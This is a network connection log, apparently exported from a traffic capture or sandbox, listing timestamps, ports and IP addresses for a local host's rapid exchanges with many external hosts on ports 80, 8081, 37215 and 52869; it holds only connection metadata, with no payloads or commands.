Jul 20, 2024 23:01:02.372056007 CEST	52869	48684	183.32.240.14	192.168.2.13
Jul 20, 2024 23:01:02.372096062 CEST	48684	52869	192.168.2.13	183.32.240.14
Jul 20, 2024 23:01:02.373075008 CEST	8081	57798	35.194.214.78	192.168.2.13
Jul 20, 2024 23:01:02.373085022 CEST	80	47130	88.26.16.3	192.168.2.13
Jul 20, 2024 23:01:02.373189926 CEST	38382	80	192.168.2.13	88.55.82.184
Jul 20, 2024 23:01:02.374433994 CEST	51606	8081	192.168.2.13	138.28.105.92
Jul 20, 2024 23:01:02.374578953 CEST	80	58018	88.165.251.73	192.168.2.13
Jul 20, 2024 23:01:02.374630928 CEST	58018	80	192.168.2.13	88.165.251.73
Jul 20, 2024 23:01:02.374681950 CEST	8081	51562	73.226.236.11	192.168.2.13
Jul 20, 2024 23:01:02.374722958 CEST	51562	8081	192.168.2.13	73.226.236.11
Jul 20, 2024 23:01:02.375650883 CEST	80	40854	88.38.136.61	192.168.2.13
Jul 20, 2024 23:01:02.375838995 CEST	40912	80	192.168.2.13	88.33.168.179
Jul 20, 2024 23:01:02.376034975 CEST	40912	80	192.168.2.13	88.33.168.179
Jul 20, 2024 23:01:02.376034975 CEST	37842	37215	192.168.2.13	41.31.110.255
Jul 20, 2024 23:01:02.376183987 CEST	80	37702	88.55.82.184	192.168.2.13
Jul 20, 2024 23:01:02.376537085 CEST	37215	51784	197.33.169.56	192.168.2.13
Jul 20, 2024 23:01:02.376589060 CEST	51784	37215	192.168.2.13	197.33.169.56
Jul 20, 2024 23:01:02.376679897 CEST	40854	80	192.168.2.13	88.38.136.61
Jul 20, 2024 23:01:02.376679897 CEST	53400	52869	192.168.2.13	44.173.173.82
Jul 20, 2024 23:01:02.377172947 CEST	8081	35076	145.216.15.149	192.168.2.13
Jul 20, 2024 23:01:02.377181053 CEST	80	57996	88.70.58.249	192.168.2.13
Jul 20, 2024 23:01:02.377198935 CEST	8081	52958	180.244.103.212	192.168.2.13
Jul 20, 2024 23:01:02.377252102 CEST	35690	8081	192.168.2.13	38.137.91.224
Jul 20, 2024 23:01:02.377429962 CEST	8081	50706	138.28.105.92	192.168.2.13
Jul 20, 2024 23:01:02.377546072 CEST	35690	8081	192.168.2.13	38.137.91.224
Jul 20, 2024 23:01:02.378778934 CEST	80	38382	88.55.82.184	192.168.2.13
Jul 20, 2024 23:01:02.378820896 CEST	38382	80	192.168.2.13	88.55.82.184
Jul 20, 2024 23:01:02.378899097 CEST	41588	80	192.168.2.13	88.33.168.179
Jul 20, 2024 23:01:02.379517078 CEST	37215	36826	197.164.134.229	192.168.2.13
Jul 20, 2024 23:01:02.379904985 CEST	36592	8081	192.168.2.13	38.137.91.224
Jul 20, 2024 23:01:02.380270004 CEST	52869	55104	153.33.151.65	192.168.2.13
Jul 20, 2024 23:01:02.380410910 CEST	36826	37215	192.168.2.13	197.164.134.229
Jul 20, 2024 23:01:02.380420923 CEST	52958	8081	192.168.2.13	180.244.103.212
Jul 20, 2024 23:01:02.380440950 CEST	55104	52869	192.168.2.13	153.33.151.65
Jul 20, 2024 23:01:02.380599976 CEST	8081	51606	138.28.105.92	192.168.2.13
Jul 20, 2024 23:01:02.381109953 CEST	8081	42704	165.105.54.22	192.168.2.13
Jul 20, 2024 23:01:02.381120920 CEST	51606	8081	192.168.2.13	138.28.105.92
Jul 20, 2024 23:01:02.381128073 CEST	80	52440	88.223.235.110	192.168.2.13
Jul 20, 2024 23:01:02.381397963 CEST	80	47842	88.26.16.3	192.168.2.13
Jul 20, 2024 23:01:02.381759882 CEST	80	40912	88.33.168.179	192.168.2.13
Jul 20, 2024 23:01:02.381768942 CEST	37215	37842	41.31.110.255	192.168.2.13
Jul 20, 2024 23:01:02.381808043 CEST	37842	37215	192.168.2.13	41.31.110.255
Jul 20, 2024 23:01:02.381875992 CEST	52992	80	192.168.2.13	88.224.81.194
Jul 20, 2024 23:01:02.381875992 CEST	52992	80	192.168.2.13	88.224.81.194
Jul 20, 2024 23:01:02.382039070 CEST	8081	58684	35.194.214.78	192.168.2.13
Jul 20, 2024 23:01:02.382289886 CEST	35018	37215	192.168.2.13	197.112.159.46
Jul 20, 2024 23:01:02.382520914 CEST	52869	53400	44.173.173.82	192.168.2.13
Jul 20, 2024 23:01:02.382567883 CEST	53400	52869	192.168.2.13	44.173.173.82
Jul 20, 2024 23:01:02.382586956 CEST	80	58706	88.70.58.249	192.168.2.13
Jul 20, 2024 23:01:02.382795095 CEST	54244	8081	192.168.2.13	162.19.7.39
Jul 20, 2024 23:01:02.382795095 CEST	54244	8081	192.168.2.13	162.19.7.39
Jul 20, 2024 23:01:02.382934093 CEST	8081	35690	38.137.91.224	192.168.2.13
Jul 20, 2024 23:01:02.383158922 CEST	8081	35962	145.216.15.149	192.168.2.13
Jul 20, 2024 23:01:02.383313894 CEST	37215	60068	197.52.49.166	192.168.2.13
Jul 20, 2024 23:01:02.384392023 CEST	80	41588	88.33.168.179	192.168.2.13
Jul 20, 2024 23:01:02.384409904 CEST	58706	80	192.168.2.13	88.70.58.249
Jul 20, 2024 23:01:02.384423018 CEST	60068	37215	192.168.2.13	197.52.49.166
Jul 20, 2024 23:01:02.384423018 CEST	58684	8081	192.168.2.13	35.194.214.78
Jul 20, 2024 23:01:02.384423018 CEST	47842	80	192.168.2.13	88.26.16.3
Jul 20, 2024 23:01:02.384430885 CEST	35962	8081	192.168.2.13	145.216.15.149
Jul 20, 2024 23:01:02.384567976 CEST	41588	80	192.168.2.13	88.33.168.179
Jul 20, 2024 23:01:02.384783030 CEST	53662	80	192.168.2.13	88.224.81.194
Jul 20, 2024 23:01:02.385726929 CEST	8081	36592	38.137.91.224	192.168.2.13
Jul 20, 2024 23:01:02.386482000 CEST	37215	58268	125.16.244.96	192.168.2.13
Jul 20, 2024 23:01:02.386766911 CEST	52869	57534	177.130.98.196	192.168.2.13
Jul 20, 2024 23:01:02.387335062 CEST	80	52992	88.224.81.194	192.168.2.13
Jul 20, 2024 23:01:02.387432098 CEST	36592	8081	192.168.2.13	38.137.91.224
Jul 20, 2024 23:01:02.387433052 CEST	55148	8081	192.168.2.13	162.19.7.39
Jul 20, 2024 23:01:02.387619972 CEST	37215	35018	197.112.159.46	192.168.2.13
Jul 20, 2024 23:01:02.387671947 CEST	35018	37215	192.168.2.13	197.112.159.46
Jul 20, 2024 23:01:02.388137102 CEST	8081	54244	162.19.7.39	192.168.2.13
Jul 20, 2024 23:01:02.388428926 CEST	57534	52869	192.168.2.13	177.130.98.196
Jul 20, 2024 23:01:02.388428926 CEST	58268	37215	192.168.2.13	125.16.244.96
Jul 20, 2024 23:01:02.388752937 CEST	80	50298	88.106.209.195	192.168.2.13
Jul 20, 2024 23:01:02.389646053 CEST	36394	52869	192.168.2.13	159.127.6.20
Jul 20, 2024 23:01:02.391333103 CEST	80	53662	88.224.81.194	192.168.2.13
Jul 20, 2024 23:01:02.391417980 CEST	53662	80	192.168.2.13	88.224.81.194
Jul 20, 2024 23:01:02.391422987 CEST	39294	80	192.168.2.13	88.133.110.144
Jul 20, 2024 23:01:02.391422987 CEST	39294	80	192.168.2.13	88.133.110.144
Jul 20, 2024 23:01:02.391781092 CEST	51216	37215	192.168.2.13	80.166.177.56
Jul 20, 2024 23:01:02.392002106 CEST	80	53150	88.223.235.110	192.168.2.13
Jul 20, 2024 23:01:02.392345905 CEST	37410	8081	192.168.2.13	168.54.33.18
Jul 20, 2024 23:01:02.392345905 CEST	37410	8081	192.168.2.13	168.54.33.18
Jul 20, 2024 23:01:02.392414093 CEST	53150	80	192.168.2.13	88.223.235.110
Jul 20, 2024 23:01:02.392682076 CEST	8081	42780	76.22.1.183	192.168.2.13
Jul 20, 2024 23:01:02.393764019 CEST	39960	80	192.168.2.13	88.133.110.144
Jul 20, 2024 23:01:02.394092083 CEST	8081	55148	162.19.7.39	192.168.2.13
Jul 20, 2024 23:01:02.394341946 CEST	55148	8081	192.168.2.13	162.19.7.39
Jul 20, 2024 23:01:02.395001888 CEST	52869	36394	159.127.6.20	192.168.2.13
Jul 20, 2024 23:01:02.395088911 CEST	38316	8081	192.168.2.13	168.54.33.18
Jul 20, 2024 23:01:02.396749020 CEST	36394	52869	192.168.2.13	159.127.6.20
Jul 20, 2024 23:01:02.396840096 CEST	8081	39392	91.137.132.92	192.168.2.13
Jul 20, 2024 23:01:02.396929979 CEST	80	45378	88.204.243.130	192.168.2.13
Jul 20, 2024 23:01:02.397108078 CEST	80	39294	88.133.110.144	192.168.2.13
Jul 20, 2024 23:01:02.397116899 CEST	37215	51216	80.166.177.56	192.168.2.13
Jul 20, 2024 23:01:02.397125959 CEST	8081	43592	165.105.54.22	192.168.2.13
Jul 20, 2024 23:01:02.397718906 CEST	8081	37410	168.54.33.18	192.168.2.13
Jul 20, 2024 23:01:02.399730921 CEST	80	39960	88.133.110.144	192.168.2.13
Jul 20, 2024 23:01:02.399739981 CEST	51216	37215	192.168.2.13	80.166.177.56
Jul 20, 2024 23:01:02.400669098 CEST	8081	38316	168.54.33.18	192.168.2.13
Jul 20, 2024 23:01:02.400686979 CEST	8081	36872	89.187.123.20	192.168.2.13
Jul 20, 2024 23:01:02.400886059 CEST	80	55590	88.78.240.0	192.168.2.13
Jul 20, 2024 23:01:02.401185036 CEST	39960	80	192.168.2.13	88.133.110.144
Jul 20, 2024 23:01:02.404506922 CEST	37215	57420	41.235.172.174	192.168.2.13
Jul 20, 2024 23:01:02.404926062 CEST	80	59434	88.22.209.232	192.168.2.13
Jul 20, 2024 23:01:02.407177925 CEST	38316	8081	192.168.2.13	168.54.33.18
Jul 20, 2024 23:01:02.407685041 CEST	80	51004	88.106.209.195	192.168.2.13
Jul 20, 2024 23:01:02.408690929 CEST	8081	43668	76.22.1.183	192.168.2.13
Jul 20, 2024 23:01:02.411165953 CEST	43592	8081	192.168.2.13	165.105.54.22
Jul 20, 2024 23:01:02.412015915 CEST	52869	37558	76.239.185.4	192.168.2.13
Jul 20, 2024 23:01:02.412784100 CEST	8081	50664	73.226.236.11	192.168.2.13
Jul 20, 2024 23:01:02.412789106 CEST	80	57330	88.165.251.73	192.168.2.13
Jul 20, 2024 23:01:02.416826010 CEST	80	37702	88.55.82.184	192.168.2.13
Jul 20, 2024 23:01:02.418042898 CEST	43668	8081	192.168.2.13	76.22.1.183
Jul 20, 2024 23:01:02.418042898 CEST	57420	37215	192.168.2.13	41.235.172.174
Jul 20, 2024 23:01:02.420175076 CEST	37558	52869	192.168.2.13	76.239.185.4
Jul 20, 2024 23:01:02.420762062 CEST	51004	80	192.168.2.13	88.106.209.195
Jul 20, 2024 23:01:02.420948029 CEST	8081	50706	138.28.105.92	192.168.2.13
Jul 20, 2024 23:01:02.422008038 CEST	54190	37215	192.168.2.13	41.151.30.29
Jul 20, 2024 23:01:02.422509909 CEST	51630	80	192.168.2.13	88.209.159.72
Jul 20, 2024 23:01:02.422509909 CEST	51630	80	192.168.2.13	88.209.159.72
Jul 20, 2024 23:01:02.422645092 CEST	37215	44146	157.81.89.101	192.168.2.13
Jul 20, 2024 23:01:02.423787117 CEST	48192	8081	192.168.2.13	14.217.247.201
Jul 20, 2024 23:01:02.423787117 CEST	48192	8081	192.168.2.13	14.217.247.201
Jul 20, 2024 23:01:02.424690008 CEST	44146	37215	192.168.2.13	157.81.89.101
Jul 20, 2024 23:01:02.425532103 CEST	51742	52869	192.168.2.13	9.155.213.68
Jul 20, 2024 23:01:02.426367044 CEST	8081	35690	38.137.91.224	192.168.2.13
Jul 20, 2024 23:01:02.426377058 CEST	80	40912	88.33.168.179	192.168.2.13
Jul 20, 2024 23:01:02.426386118 CEST	80	46082	88.204.243.130	192.168.2.13
Jul 20, 2024 23:01:02.426390886 CEST	8081	40284	91.137.132.92	192.168.2.13
Jul 20, 2024 23:01:02.426439047 CEST	49100	8081	192.168.2.13	14.217.247.201
Jul 20, 2024 23:01:02.427037001 CEST	52292	80	192.168.2.13	88.209.159.72
Jul 20, 2024 23:01:02.427822113 CEST	52352	80	192.168.2.13	88.148.160.40
Jul 20, 2024 23:01:02.427822113 CEST	52352	80	192.168.2.13	88.148.160.40
Jul 20, 2024 23:01:02.428006887 CEST	37215	37480	157.252.104.249	192.168.2.13
Jul 20, 2024 23:01:02.428116083 CEST	55636	37215	192.168.2.13	197.95.163.59
Jul 20, 2024 23:01:02.428431988 CEST	37480	37215	192.168.2.13	157.252.104.249
Jul 20, 2024 23:01:02.428432941 CEST	40284	8081	192.168.2.13	91.137.132.92
Jul 20, 2024 23:01:02.428432941 CEST	46082	80	192.168.2.13	88.204.243.130
Jul 20, 2024 23:01:02.428863049 CEST	54826	8081	192.168.2.13	132.112.127.230
Jul 20, 2024 23:01:02.428911924 CEST	54826	8081	192.168.2.13	132.112.127.230
Jul 20, 2024 23:01:02.430804968 CEST	53014	80	192.168.2.13	88.148.160.40
Jul 20, 2024 23:01:02.431523085 CEST	54546	52869	192.168.2.13	99.160.201.206
Jul 20, 2024 23:01:02.431848049 CEST	55738	8081	192.168.2.13	132.112.127.230
Jul 20, 2024 23:01:02.432842970 CEST	8081	54244	162.19.7.39	192.168.2.13
Jul 20, 2024 23:01:02.432852983 CEST	80	52992	88.224.81.194	192.168.2.13
Jul 20, 2024 23:01:02.433434010 CEST	57750	80	192.168.2.13	88.155.50.250
Jul 20, 2024 23:01:02.433434010 CEST	57750	80	192.168.2.13	88.155.50.250
Jul 20, 2024 23:01:02.433470964 CEST	33990	37215	192.168.2.13	46.91.29.61
Jul 20, 2024 23:01:02.433883905 CEST	37215	54190	41.151.30.29	192.168.2.13
Jul 20, 2024 23:01:02.433959007 CEST	54190	37215	192.168.2.13	41.151.30.29
Jul 20, 2024 23:01:02.434590101 CEST	41446	8081	192.168.2.13	210.14.86.159
Jul 20, 2024 23:01:02.434591055 CEST	41446	8081	192.168.2.13	210.14.86.159
Jul 20, 2024 23:01:02.434868097 CEST	8081	48192	14.217.247.201	192.168.2.13
Jul 20, 2024 23:01:02.435333014 CEST	80	51630	88.209.159.72	192.168.2.13
Jul 20, 2024 23:01:02.435362101 CEST	52869	51742	9.155.213.68	192.168.2.13
Jul 20, 2024 23:01:02.435996056 CEST	8081	49100	14.217.247.201	192.168.2.13
Jul 20, 2024 23:01:02.436005116 CEST	80	52292	88.209.159.72	192.168.2.13
Jul 20, 2024 23:01:02.436026096 CEST	80	52352	88.148.160.40	192.168.2.13
Jul 20, 2024 23:01:02.436031103 CEST	37215	55636	197.95.163.59	192.168.2.13
Jul 20, 2024 23:01:02.436034918 CEST	8081	54826	132.112.127.230	192.168.2.13
Jul 20, 2024 23:01:02.436053991 CEST	49100	8081	192.168.2.13	14.217.247.201
Jul 20, 2024 23:01:02.436132908 CEST	52292	80	192.168.2.13	88.209.159.72
Jul 20, 2024 23:01:02.436132908 CEST	55636	37215	192.168.2.13	197.95.163.59
Jul 20, 2024 23:01:02.436539888 CEST	80	53014	88.148.160.40	192.168.2.13
Jul 20, 2024 23:01:02.436616898 CEST	53014	80	192.168.2.13	88.148.160.40
Jul 20, 2024 23:01:02.436633110 CEST	58408	80	192.168.2.13	88.155.50.250
Jul 20, 2024 23:01:02.437037945 CEST	52869	54546	99.160.201.206	192.168.2.13
Jul 20, 2024 23:01:02.437313080 CEST	51742	52869	192.168.2.13	9.155.213.68
Jul 20, 2024 23:01:02.437320948 CEST	8081	55738	132.112.127.230	192.168.2.13
Jul 20, 2024 23:01:02.437453985 CEST	42358	8081	192.168.2.13	210.14.86.159
Jul 20, 2024 23:01:02.437694073 CEST	80	56288	88.78.240.0	192.168.2.13
Jul 20, 2024 23:01:02.438088894 CEST	54546	52869	192.168.2.13	99.160.201.206
Jul 20, 2024 23:01:02.438559055 CEST	55738	8081	192.168.2.13	132.112.127.230
Jul 20, 2024 23:01:02.438669920 CEST	80	57750	88.155.50.250	192.168.2.13
Jul 20, 2024 23:01:02.438683987 CEST	37215	33990	46.91.29.61	192.168.2.13
Jul 20, 2024 23:01:02.438715935 CEST	33990	37215	192.168.2.13	46.91.29.61
Jul 20, 2024 23:01:02.438818932 CEST	60378	52869	192.168.2.13	219.0.14.247
Jul 20, 2024 23:01:02.439749002 CEST	8081	41446	210.14.86.159	192.168.2.13
Jul 20, 2024 23:01:02.440408945 CEST	56288	80	192.168.2.13	88.78.240.0
Jul 20, 2024 23:01:02.440622091 CEST	39530	80	192.168.2.13	88.117.77.152
Jul 20, 2024 23:01:02.440622091 CEST	39530	80	192.168.2.13	88.117.77.152
Jul 20, 2024 23:01:02.440709114 CEST	8081	37410	168.54.33.18	192.168.2.13
Jul 20, 2024 23:01:02.440736055 CEST	48162	37215	192.168.2.13	197.75.193.161
Jul 20, 2024 23:01:02.440774918 CEST	80	39294	88.133.110.144	192.168.2.13
Jul 20, 2024 23:01:02.441589117 CEST	52869	53508	144.53.119.5	192.168.2.13
Jul 20, 2024 23:01:02.441730976 CEST	42942	8081	192.168.2.13	20.19.44.152
Jul 20, 2024 23:01:02.441730976 CEST	42942	8081	192.168.2.13	20.19.44.152
Jul 20, 2024 23:01:02.442344904 CEST	80	58408	88.155.50.250	192.168.2.13
Jul 20, 2024 23:01:02.442554951 CEST	8081	37766	89.187.123.20	192.168.2.13
Jul 20, 2024 23:01:02.442817926 CEST	58408	80	192.168.2.13	88.155.50.250
Jul 20, 2024 23:01:02.443190098 CEST	8081	42358	210.14.86.159	192.168.2.13
Jul 20, 2024 23:01:02.443231106 CEST	42358	8081	192.168.2.13	210.14.86.159
Jul 20, 2024 23:01:02.443770885 CEST	40184	80	192.168.2.13	88.117.77.152
Jul 20, 2024 23:01:02.444423914 CEST	53508	52869	192.168.2.13	144.53.119.5
Jul 20, 2024 23:01:02.444546938 CEST	44760	52869	192.168.2.13	168.61.125.85
Jul 20, 2024 23:01:02.444883108 CEST	43860	8081	192.168.2.13	20.19.44.152
Jul 20, 2024 23:01:02.445799112 CEST	37215	42554	197.187.132.119	192.168.2.13
Jul 20, 2024 23:01:02.446029902 CEST	52869	60378	219.0.14.247	192.168.2.13
Jul 20, 2024 23:01:02.446063995 CEST	60378	52869	192.168.2.13	219.0.14.247
Jul 20, 2024 23:01:02.446943998 CEST	80	60128	88.22.209.232	192.168.2.13
Jul 20, 2024 23:01:02.447170973 CEST	8081	42696	38.152.182.189	192.168.2.13
Jul 20, 2024 23:01:02.447256088 CEST	34808	80	192.168.2.13	88.112.100.222
Jul 20, 2024 23:01:02.447256088 CEST	34808	80	192.168.2.13	88.112.100.222
Jul 20, 2024 23:01:02.447366953 CEST	34798	37215	192.168.2.13	197.156.183.155
Jul 20, 2024 23:01:02.448275089 CEST	37215	37288	197.199.15.206	192.168.2.13
Jul 20, 2024 23:01:02.448411942 CEST	37288	37215	192.168.2.13	197.199.15.206
Jul 20, 2024 23:01:02.448412895 CEST	60128	80	192.168.2.13	88.22.209.232
Jul 20, 2024 23:01:02.448414087 CEST	42554	37215	192.168.2.13	197.187.132.119
Jul 20, 2024 23:01:02.448416948 CEST	36922	8081	192.168.2.13	47.19.229.1
Jul 20, 2024 23:01:02.448416948 CEST	36922	8081	192.168.2.13	47.19.229.1
Jul 20, 2024 23:01:02.448416948 CEST	37766	8081	192.168.2.13	89.187.123.20
Jul 20, 2024 23:01:02.448416948 CEST	42696	8081	192.168.2.13	38.152.182.189
Jul 20, 2024 23:01:02.448517084 CEST	80	39530	88.117.77.152	192.168.2.13
Jul 20, 2024 23:01:02.448539972 CEST	37215	48162	197.75.193.161	192.168.2.13
Jul 20, 2024 23:01:02.449048996 CEST	48162	37215	192.168.2.13	197.75.193.161
Jul 20, 2024 23:01:02.449081898 CEST	52869	48684	183.32.240.14	192.168.2.13
Jul 20, 2024 23:01:02.449558973 CEST	8081	42942	20.19.44.152	192.168.2.13
Jul 20, 2024 23:01:02.450196981 CEST	8081	51562	73.226.236.11	192.168.2.13
Jul 20, 2024 23:01:02.450397968 CEST	80	58018	88.165.251.73	192.168.2.13
Jul 20, 2024 23:01:02.450906038 CEST	37215	51784	197.33.169.56	192.168.2.13
Jul 20, 2024 23:01:02.451694012 CEST	35458	80	192.168.2.13	88.112.100.222
Jul 20, 2024 23:01:02.451833963 CEST	80	38382	88.55.82.184	192.168.2.13
Jul 20, 2024 23:01:02.452209949 CEST	34174	52869	192.168.2.13	223.227.5.114
Jul 20, 2024 23:01:02.452558994 CEST	58018	80	192.168.2.13	88.165.251.73
Jul 20, 2024 23:01:02.453190088 CEST	8081	51606	138.28.105.92	192.168.2.13
Jul 20, 2024 23:01:02.453195095 CEST	80	40184	88.117.77.152	192.168.2.13
Jul 20, 2024 23:01:02.453239918 CEST	40184	80	192.168.2.13	88.117.77.152
Jul 20, 2024 23:01:02.453313112 CEST	52869	44760	168.61.125.85	192.168.2.13
Jul 20, 2024 23:01:02.454149008 CEST	8081	43860	20.19.44.152	192.168.2.13
Jul 20, 2024 23:01:02.454819918 CEST	43860	8081	192.168.2.13	20.19.44.152
Jul 20, 2024 23:01:02.454982042 CEST	44760	52869	192.168.2.13	168.61.125.85
Jul 20, 2024 23:01:02.455069065 CEST	80	34808	88.112.100.222	192.168.2.13
Jul 20, 2024 23:01:02.455075026 CEST	37215	34798	197.156.183.155	192.168.2.13
Jul 20, 2024 23:01:02.455084085 CEST	8081	36922	47.19.229.1	192.168.2.13
Jul 20, 2024 23:01:02.455123901 CEST	34798	37215	192.168.2.13	197.156.183.155
Jul 20, 2024 23:01:02.456410885 CEST	38382	80	192.168.2.13	88.55.82.184
Jul 20, 2024 23:01:02.456418037 CEST	48684	52869	192.168.2.13	183.32.240.14
Jul 20, 2024 23:01:02.456424952 CEST	51562	8081	192.168.2.13	73.226.236.11
Jul 20, 2024 23:01:02.456425905 CEST	37842	8081	192.168.2.13	47.19.229.1
Jul 20, 2024 23:01:02.456425905 CEST	51784	37215	192.168.2.13	197.33.169.56
Jul 20, 2024 23:01:02.456521034 CEST	51606	8081	192.168.2.13	138.28.105.92
Jul 20, 2024 23:01:02.456913948 CEST	80	35458	88.112.100.222	192.168.2.13
Jul 20, 2024 23:01:02.457463980 CEST	35458	80	192.168.2.13	88.112.100.222
Jul 20, 2024 23:01:02.457792044 CEST	52869	34174	223.227.5.114	192.168.2.13
Jul 20, 2024 23:01:02.457843065 CEST	34174	52869	192.168.2.13	223.227.5.114
Jul 20, 2024 23:01:02.458404064 CEST	37215	37842	41.31.110.255	192.168.2.13
Jul 20, 2024 23:01:02.459280968 CEST	51438	80	192.168.2.13	88.207.100.111
Jul 20, 2024 23:01:02.459280968 CEST	51438	80	192.168.2.13	88.207.100.111
Jul 20, 2024 23:01:02.459427118 CEST	37016	37215	192.168.2.13	197.123.108.99
Jul 20, 2024 23:01:02.459697962 CEST	52869	53400	44.173.173.82	192.168.2.13
Jul 20, 2024 23:01:02.460313082 CEST	80	41588	88.33.168.179	192.168.2.13
Jul 20, 2024 23:01:02.460472107 CEST	41588	80	192.168.2.13	88.33.168.179
Jul 20, 2024 23:01:02.460472107 CEST	37842	37215	192.168.2.13	41.31.110.255
Jul 20, 2024 23:01:02.460557938 CEST	53400	52869	192.168.2.13	44.173.173.82
Jul 20, 2024 23:01:02.460697889 CEST	8081	36592	38.137.91.224	192.168.2.13
Jul 20, 2024 23:01:02.460911989 CEST	58482	8081	192.168.2.13	217.241.134.162
Jul 20, 2024 23:01:02.460911989 CEST	58482	8081	192.168.2.13	217.241.134.162
Jul 20, 2024 23:01:02.460990906 CEST	37215	35018	197.112.159.46	192.168.2.13
Jul 20, 2024 23:01:02.461642981 CEST	57656	52869	192.168.2.13	138.96.171.141
Jul 20, 2024 23:01:02.461853027 CEST	80	53662	88.224.81.194	192.168.2.13
Jul 20, 2024 23:01:02.462258101 CEST	52090	80	192.168.2.13	88.207.100.111
Jul 20, 2024 23:01:02.462912083 CEST	8081	55148	162.19.7.39	192.168.2.13
Jul 20, 2024 23:01:02.462917089 CEST	8081	37842	47.19.229.1	192.168.2.13
Jul 20, 2024 23:01:02.462966919 CEST	37842	8081	192.168.2.13	47.19.229.1
Jul 20, 2024 23:01:02.463401079 CEST	52869	36394	159.127.6.20	192.168.2.13
Jul 20, 2024 23:01:02.463460922 CEST	59406	8081	192.168.2.13	217.241.134.162
Jul 20, 2024 23:01:02.464404106 CEST	35018	37215	192.168.2.13	197.112.159.46
Jul 20, 2024 23:01:02.464425087 CEST	53662	80	192.168.2.13	88.224.81.194
Jul 20, 2024 23:01:02.464426041 CEST	36394	52869	192.168.2.13	159.127.6.20
Jul 20, 2024 23:01:02.464426994 CEST	55148	8081	192.168.2.13	162.19.7.39
Jul 20, 2024 23:01:02.464426994 CEST	36592	8081	192.168.2.13	38.137.91.224
Jul 20, 2024 23:01:02.464656115 CEST	37215	51216	80.166.177.56	192.168.2.13
Jul 20, 2024 23:01:02.464812040 CEST	80	51438	88.207.100.111	192.168.2.13
Jul 20, 2024 23:01:02.464817047 CEST	37215	37016	197.123.108.99	192.168.2.13
Jul 20, 2024 23:01:02.464826107 CEST	80	39960	88.133.110.144	192.168.2.13
Jul 20, 2024 23:01:02.465425968 CEST	37016	37215	192.168.2.13	197.123.108.99
Jul 20, 2024 23:01:02.465677023 CEST	8081	38316	168.54.33.18	192.168.2.13
Jul 20, 2024 23:01:02.466636896 CEST	8081	58482	217.241.134.162	192.168.2.13
Jul 20, 2024 23:01:02.466710091 CEST	52869	57656	138.96.171.141	192.168.2.13
Jul 20, 2024 23:01:02.466754913 CEST	57656	52869	192.168.2.13	138.96.171.141
Jul 20, 2024 23:01:02.467257977 CEST	37215	54190	41.151.30.29	192.168.2.13
Jul 20, 2024 23:01:02.467291117 CEST	80	52090	88.207.100.111	192.168.2.13
Jul 20, 2024 23:01:02.467356920 CEST	52090	80	192.168.2.13	88.207.100.111
Jul 20, 2024 23:01:02.467880964 CEST	40168	80	192.168.2.13	88.58.241.41
Jul 20, 2024 23:01:02.467880964 CEST	40168	80	192.168.2.13	88.58.241.41
Jul 20, 2024 23:01:02.468038082 CEST	42176	37215	192.168.2.13	157.12.16.61
Jul 20, 2024 23:01:02.468415022 CEST	54190	37215	192.168.2.13	41.151.30.29
Jul 20, 2024 23:01:02.468787909 CEST	8081	59406	217.241.134.162	192.168.2.13
Jul 20, 2024 23:01:02.468823910 CEST	59406	8081	192.168.2.13	217.241.134.162
Jul 20, 2024 23:01:02.468919039 CEST	60428	8081	192.168.2.13	46.39.191.49
Jul 20, 2024 23:01:02.468919039 CEST	60428	8081	192.168.2.13	46.39.191.49
Jul 20, 2024 23:01:02.469546080 CEST	33516	52869	192.168.2.13	117.76.117.93
Jul 20, 2024 23:01:02.470151901 CEST	40818	80	192.168.2.13	88.58.241.41
Jul 20, 2024 23:01:02.470578909 CEST	8081	49100	14.217.247.201	192.168.2.13
Jul 20, 2024 23:01:02.471000910 CEST	80	52292	88.209.159.72	192.168.2.13
Jul 20, 2024 23:01:02.471198082 CEST	33122	8081	192.168.2.13	46.39.191.49
Jul 20, 2024 23:01:02.471566916 CEST	80	53014	88.148.160.40	192.168.2.13
Jul 20, 2024 23:01:02.472378016 CEST	37215	55636	197.95.163.59	192.168.2.13
Jul 20, 2024 23:01:02.472415924 CEST	52292	80	192.168.2.13	88.209.159.72
Jul 20, 2024 23:01:02.472421885 CEST	53014	80	192.168.2.13	88.148.160.40
Jul 20, 2024 23:01:02.472423077 CEST	51216	37215	192.168.2.13	80.166.177.56
Jul 20, 2024 23:01:02.472423077 CEST	49100	8081	192.168.2.13	14.217.247.201
Jul 20, 2024 23:01:02.472482920 CEST	39960	80	192.168.2.13	88.133.110.144
Jul 20, 2024 23:01:02.472526073 CEST	38316	8081	192.168.2.13	168.54.33.18
Jul 20, 2024 23:01:02.472878933 CEST	80	40168	88.58.241.41	192.168.2.13
Jul 20, 2024 23:01:02.473366022 CEST	52869	54546	99.160.201.206	192.168.2.13
Jul 20, 2024 23:01:02.473608971 CEST	37215	42176	157.12.16.61	192.168.2.13
Jul 20, 2024 23:01:02.473706007 CEST	42176	37215	192.168.2.13	157.12.16.61
Jul 20, 2024 23:01:02.474122047 CEST	8081	60428	46.39.191.49	192.168.2.13
Jul 20, 2024 23:01:02.475143909 CEST	52869	33516	117.76.117.93	192.168.2.13
Jul 20, 2024 23:01:02.475194931 CEST	55242	80	192.168.2.13	88.108.216.48
Jul 20, 2024 23:01:02.475194931 CEST	55242	80	192.168.2.13	88.108.216.48
Jul 20, 2024 23:01:02.475404978 CEST	33516	52869	192.168.2.13	117.76.117.93
Jul 20, 2024 23:01:02.475678921 CEST	33042	37215	192.168.2.13	197.218.185.44
Jul 20, 2024 23:01:02.475802898 CEST	37352	52869	192.168.2.13	13.5.180.251
Jul 20, 2024 23:01:02.476286888 CEST	36188	8081	192.168.2.13	211.52.133.239
Jul 20, 2024 23:01:02.476286888 CEST	36188	8081	192.168.2.13	211.52.133.239
Jul 20, 2024 23:01:02.476413012 CEST	55636	37215	192.168.2.13	197.95.163.59
Jul 20, 2024 23:01:02.476969004 CEST	54546	52869	192.168.2.13	99.160.201.206
Jul 20, 2024 23:01:02.478179932 CEST	55892	80	192.168.2.13	88.108.216.48
Jul 20, 2024 23:01:02.479079008 CEST	37116	8081	192.168.2.13	211.52.133.239
Jul 20, 2024 23:01:02.479969025 CEST	8081	54826	132.112.127.230	192.168.2.13
Jul 20, 2024 23:01:02.480334044 CEST	80	52352	88.148.160.40	192.168.2.13
Jul 20, 2024 23:01:02.480351925 CEST	80	51630	88.209.159.72	192.168.2.13
Jul 20, 2024 23:01:02.480360985 CEST	8081	48192	14.217.247.201	192.168.2.13
Jul 20, 2024 23:01:02.480633974 CEST	80	40818	88.58.241.41	192.168.2.13
Jul 20, 2024 23:01:02.480648041 CEST	8081	33122	46.39.191.49	192.168.2.13
